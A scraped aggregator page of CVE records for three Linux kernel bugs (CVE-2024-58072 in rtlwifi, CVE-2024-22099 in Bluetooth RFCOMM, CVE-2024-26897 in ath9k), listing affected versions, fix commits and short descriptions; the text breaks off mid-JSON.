Linux	Linux	Affected: 3.10 Unaffected: 0 , < 3.10 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:34:08.754Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:05.667Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/realtek/rtlwifi/base.c",
            "drivers/net/wireless/realtek/rtlwifi/base.h",
            "drivers/net/wireless/realtek/rtlwifi/pci.c",
            "drivers/net/wireless/realtek/rtlwifi/wifi.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f801e754efa21bd61b3cc15ec7565696165b272f",
              "status": "affected",
              "version": "26634c4b1868323f49f8cd24c3493b57819867fd",
              "versionType": "git"
            },
            {
              "lessThan": "1b9cbd8a9ae68b32099fbb03b2d5ffa0c5e0dcc9",
              "status": "affected",
              "version": "26634c4b1868323f49f8cd24c3493b57819867fd",
              "versionType": "git"
            },
            {
              "lessThan": "8e2fcc68fbaab3ad9f5671fee2be0956134b740a",
              "status": "affected",
              "version": "26634c4b1868323f49f8cd24c3493b57819867fd",
              "versionType": "git"
            },
            {
              "lessThan": "1e39b0486cdb496cdfba3bc89886150e46acf6f4",
              "status": "affected",
              "version": "26634c4b1868323f49f8cd24c3493b57819867fd",
              "versionType": "git"
            },
            {
              "lessThan": "465d01ef6962b82b1f0ad1f3e58b398dbd35c1c1",
              "status": "affected",
              "version": "26634c4b1868323f49f8cd24c3493b57819867fd",
              "versionType": "git"
            },
            {
              "lessThan": "543e3e9f2e9e47ded774c74e680f28a0ca362aee",
              "status": "affected",
              "version": "26634c4b1868323f49f8cd24c3493b57819867fd",
              "versionType": "git"
            },
            {
              "lessThan": "006e803af7408c3fc815b0654fc5ab43d34f0154",
              "status": "affected",
              "version": "26634c4b1868323f49f8cd24c3493b57819867fd",
              "versionType": "git"
            },
            {
              "lessThan": "2fdac64c3c35858aa8ac5caa70b232e03456e120",
              "status": "affected",
              "version": "26634c4b1868323f49f8cd24c3493b57819867fd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/realtek/rtlwifi/base.c",
            "drivers/net/wireless/realtek/rtlwifi/base.h",
            "drivers/net/wireless/realtek/rtlwifi/pci.c",
            "drivers/net/wireless/realtek/rtlwifi/wifi.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.10"
            },
            {
              "lessThan": "3.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtlwifi: remove unused check_buddy_priv\n\nCommit 2461c7d60f9f (\"rtlwifi: Update header file\") introduced a global\nlist of private data structures.\n\nLater on, commit 26634c4b1868 (\"rtlwifi Modify existing bits to match\nvendor version 2013.02.07\") started adding the private data to that list at\nprobe time and added a hook, check_buddy_priv to find the private data from\na similar device.\n\nHowever, that function was never used.\n\nBesides, though there is a lock for that list, it is never used. And when\nthe probe fails, the private data is never removed from the list. This\nwould cause a second probe to access freed memory.\n\nRemove the unused hook, structures and members, which will prevent the\npotential race condition on the list and its corruption during a second\nprobe when probe fails."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:02:45.089Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f801e754efa21bd61b3cc15ec7565696165b272f"
        },
        {
          "url": "https://git.kernel.org/stable/c/1b9cbd8a9ae68b32099fbb03b2d5ffa0c5e0dcc9"
        },
        {
          "url": "https://git.kernel.org/stable/c/8e2fcc68fbaab3ad9f5671fee2be0956134b740a"
        },
        {
          "url": "https://git.kernel.org/stable/c/1e39b0486cdb496cdfba3bc89886150e46acf6f4"
        },
        {
          "url": "https://git.kernel.org/stable/c/465d01ef6962b82b1f0ad1f3e58b398dbd35c1c1"
        },
        {
          "url": "https://git.kernel.org/stable/c/543e3e9f2e9e47ded774c74e680f28a0ca362aee"
        },
        {
          "url": "https://git.kernel.org/stable/c/006e803af7408c3fc815b0654fc5ab43d34f0154"
        },
        {
          "url": "https://git.kernel.org/stable/c/2fdac64c3c35858aa8ac5caa70b232e03456e120"
        }
      ],
      "title": "wifi: rtlwifi: remove unused check_buddy_priv",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-58072",
    "datePublished": "2025-03-06T15:54:11.665Z",
    "dateReserved": "2025-03-06T15:52:09.182Z",
    "dateUpdated": "2026-05-12T12:02:05.667Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-22099 (GCVE-0-2024-22099)

Vulnerability from cvelistv5 – Published: 2024-01-25 07:02 – Updated: 2026-05-12 11:43

Title

NULL pointer deference in rfcomm_check_security in Linux kernel

Summary

NULL Pointer Dereference vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (net, bluetooth modules) allows Overflow Buffers. This vulnerability is associated with program files /net/bluetooth/rfcomm/core.C. This issue affects Linux kernel: v2.6.12-rc2.

Severity ?

6.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Anolis

References

5 references

URL	Tags
https://bugzilla.openanolis.cn/show_bug.cgi?id=7956
https://lists.fedoraproject.org/archives/list/pac…
https://lists.fedoraproject.org/archives/list/pac…
https://lists.debian.org/debian-lts-announce/2024…
https://lists.debian.org/debian-lts-announce/2024…

Impacted products

1 product

Vendor	Product	Version
Linux	Linux kernel	Affected: v2.6.12-rc2 , < v6.8-rc1 (custom)

Date Public ?

2024-01-19 03:00

Credits

Yuxuan-Hu <20373622@buaa.edu.cn>

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T22:35:34.715Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=7956"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IVVYSTEVMPYGF6GDSOD44MUXZXAZHOHB/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KSXNF4RLEFLH35BFUQGYXRRVHHUIVBAE/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-22099",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-01-29T19:53:29.673847Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-06-05T19:44:19.805Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:43:54.499Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://mirrors.openanolis.cn/anolis/",
          "defaultStatus": "unaffected",
          "modules": [
            "net",
            "bluetooth"
          ],
          "packageName": "kernel",
          "platforms": [
            "Linux",
            "x86",
            "ARM"
          ],
          "product": "Linux kernel",
          "programFiles": [
            "https://gitee.com/anolis/cloud-kernel/blob/release-5.10/net/bluetooth/rfcomm/core.c"
          ],
          "repo": "https://gitee.com/anolis/cloud-kernel.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "v6.8-rc1",
              "status": "affected",
              "version": "v2.6.12-rc2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Yuxuan-Hu \u003c20373622@buaa.edu.cn\u003e"
        }
      ],
      "datePublic": "2024-01-19T03:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "NULL Pointer Dereference vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (net, bluetooth modules) allows Overflow Buffers.\u003cp\u003e This vulnerability is associated with program files \u003ctt\u003e/net/bluetooth/rfcomm/core.C\u003c/tt\u003e.\u003c/p\u003e\u003cp\u003eThis issue affects Linux kernel: v2.6.12-rc2.\u003c/p\u003e"
            }
          ],
          "value": "NULL Pointer Dereference vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (net, bluetooth modules) allows Overflow Buffers. This vulnerability is associated with program files /net/bluetooth/rfcomm/core.C.\n\nThis issue affects Linux kernel: v2.6.12-rc2."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-100",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-100 Overflow Buffers"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476 NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-06-27T12:08:47.749Z",
        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
        "shortName": "Anolis"
      },
      "references": [
        {
          "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=7956"
        },
        {
          "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IVVYSTEVMPYGF6GDSOD44MUXZXAZHOHB/"
        },
        {
          "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KSXNF4RLEFLH35BFUQGYXRRVHHUIVBAE/"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=6ec00b0737fe\"\u003ehttps://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=6ec00b0737fe\u003c/a\u003e\u003cbr\u003e"
            }
          ],
          "value": "https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=6ec00b0737fe https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/"
        }
      ],
      "source": {
        "advisory": "Not yet",
        "discovery": "INTERNAL"
      },
      "title": "NULL pointer deference in rfcomm_check_security in Linux kernel",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
    "assignerShortName": "Anolis",
    "cveId": "CVE-2024-22099",
    "datePublished": "2024-01-25T07:02:59.928Z",
    "dateReserved": "2024-01-15T09:44:45.533Z",
    "dateUpdated": "2026-05-12T11:43:54.499Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26897 (GCVE-0-2024-26897)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

wifi: ath9k: delay all of ath9k_wmi_event_tasklet() until init is complete

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: ath9k: delay all of ath9k_wmi_event_tasklet() until init is complete The ath9k_wmi_event_tasklet() used in ath9k_htc assumes that all the data structures have been fully initialised by the time it runs. However, because of the order in which things are initialised, this is not guaranteed to be the case, because the device is exposed to the USB subsystem before the ath9k driver initialisation is completed. We already committed a partial fix for this in commit: 8b3046abc99e ("ath9k_htc: fix NULL pointer dereference at ath9k_htc_tx_get_packet()") However, that commit only aborted the WMI_TXSTATUS_EVENTID command in the event tasklet, pairing it with an "initialisation complete" bit in the TX struct. It seems syzbot managed to trigger the race for one of the other commands as well, so let's just move the existing synchronisation bit to cover the whole tasklet (setting it at the end of ath9k_htc_probe_device() instead of inside ath9k_tx_init()).

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/1bc5461a21c56a36e…
https://git.kernel.org/stable/c/f8ff4b4df71e87f60…
https://git.kernel.org/stable/c/74d0639261dd795dc…
https://git.kernel.org/stable/c/a015fbf698c8957aa…
https://git.kernel.org/stable/c/ac90e22e735bac44f…
https://git.kernel.org/stable/c/4afa0246656d5680c…
https://git.kernel.org/stable/c/24355fcb0d4cbcb6d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 78c8397132dd4735ac6a7b5a651302f0b9f264ad , < 1bc5461a21c56a36e2a7d81e152b90ce019a3905 (git) Affected: 735aefae7b68025cd04c482a940c0f6fc6797a63 , < f8ff4b4df71e87f609be0cc37d92e918107f9b90 (git) Affected: 8b3046abc99eefe11438090bcc4ec3a3994b55d0 , < 74d0639261dd795dce958d1b14815bdcbb48a715 (git) Affected: 8b3046abc99eefe11438090bcc4ec3a3994b55d0 , < a015fbf698c8957aa5fbeefc5c59dd2cf3107298 (git) Affected: 8b3046abc99eefe11438090bcc4ec3a3994b55d0 , < ac90e22e735bac44f74b5161fb096fbeb0ff8bc2 (git) Affected: 8b3046abc99eefe11438090bcc4ec3a3994b55d0 , < 4afa0246656d5680c8a4c3fb37ba6570c4ab819b (git) Affected: 8b3046abc99eefe11438090bcc4ec3a3994b55d0 , < 24355fcb0d4cbcb6ddda262596558e8cfba70f11 (git) Affected: 7bbc1a50a7963f14048f0e54b0b73159f86d4ea3 (git)
Linux	Linux	Affected: 5.17 Unaffected: 0 , < 5.17 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.691Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1bc5461a21c56a36e2a7d81e152b90ce019a3905"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f8ff4b4df71e87f609be0cc37d92e918107f9b90"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/74d0639261dd795dce958d1b14815bdcbb48a715"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a015fbf698c8957aa5fbeefc5c59dd2cf3107298"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ac90e22e735bac44f74b5161fb096fbeb0ff8bc2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4afa0246656d5680c8a4c3fb37ba6570c4ab819b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/24355fcb0d4cbcb6ddda262596558e8cfba70f11"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26897",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:48:09.627095Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:23.543Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:15.589Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/ath/ath9k/htc.h",
            "drivers/net/wireless/ath/ath9k/htc_drv_init.c",
            "drivers/net/wireless/ath/ath9k/htc_drv_txrx.c",
            "drivers/net/wireless/ath/ath9k/wmi.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "1bc5461a21c56a36e2a7d81e152b90ce019a3905",
              "status": "affected",
              "version": "78c8397132dd4735ac6a7b5a651302f0b9f264ad",
              "versionType": "git"
            },
            {
              "lessThan": "f8ff4b4df71e87f609be0cc37d92e918107f9b90",
              "status": "affected",
              "version": "735aefae7b68025cd04c482a940c0f6fc6797a63",
              "versionType": "git"
            },
            {
              "lessThan": "74d0639261dd795dce958d1b14815bdcbb48a715",
              "status": "affected",
              "version": "8b3046abc99eefe11438090bcc4ec3a3994b55d0",
              "versionType": "git"
            },
            {
              "lessThan": "a015fbf698c8957aa5fbeefc5c59dd2cf3107298",
              "status": "affected",
              "version": "8b3046abc99eefe11438090bcc4ec3a3994b55d0",
              "versionType": "git"
            },
            {
              "lessThan": "ac90e22e735bac44f74b5161fb096fbeb0ff8bc2",
              "status": "affected",
              "version": "8b3046abc99eefe11438090bcc4ec3a3994b55d0",
              "versionType": "git"
            },
            {
              "lessThan": "4afa0246656d5680c8a4c3fb37ba6570c4ab819b",
              "status": "affected",
              "version": "8b3046abc99eefe11438090bcc4ec3a3994b55d0",
              "versionType": "git"
            },
            {
              "lessThan": "24355fcb0d4cbcb6ddda262596558e8cfba70f11",
              "status": "affected",
              "version": "8b3046abc99eefe11438090bcc4ec3a3994b55d0",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "7bbc1a50a7963f14048f0e54b0b73159f86d4ea3",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/ath/ath9k/htc.h",
            "drivers/net/wireless/ath/ath9k/htc_drv_init.c",
            "drivers/net/wireless/ath/ath9k/htc_drv_txrx.c",
            "drivers/net/wireless/ath/ath9k/wmi.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.17"
            },
            {
              "lessThan": "5.17",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.10.136",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.15.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.16.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath9k: delay all of ath9k_wmi_event_tasklet() until init is complete\n\nThe ath9k_wmi_event_tasklet() used in ath9k_htc assumes that all the data\nstructures have been fully initialised by the time it runs. However, because of\nthe order in which things are initialised, this is not guaranteed to be the\ncase, because the device is exposed to the USB subsystem before the ath9k driver\ninitialisation is completed.\n\nWe already committed a partial fix for this in commit:\n8b3046abc99e (\"ath9k_htc: fix NULL pointer dereference at ath9k_htc_tx_get_packet()\")\n\nHowever, that commit only aborted the WMI_TXSTATUS_EVENTID command in the event\ntasklet, pairing it with an \"initialisation complete\" bit in the TX struct. It\nseems syzbot managed to trigger the race for one of the other commands as well,\nso let\u0027s just move the existing synchronisation bit to cover the whole\ntasklet (setting it at the end of ath9k_htc_probe_device() instead of inside\nath9k_tx_init())."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:32.202Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/1bc5461a21c56a36e2a7d81e152b90ce019a3905"
        },
        {
          "url": "https://git.kernel.org/stable/c/f8ff4b4df71e87f609be0cc37d92e918107f9b90"
        },
        {
          "url": "https://git.kernel.org/stable/c/74d0639261dd795dce958d1b14815bdcbb48a715"
        },
        {
          "url": "https://git.kernel.org/stable/c/a015fbf698c8957aa5fbeefc5c59dd2cf3107298"
        },
        {
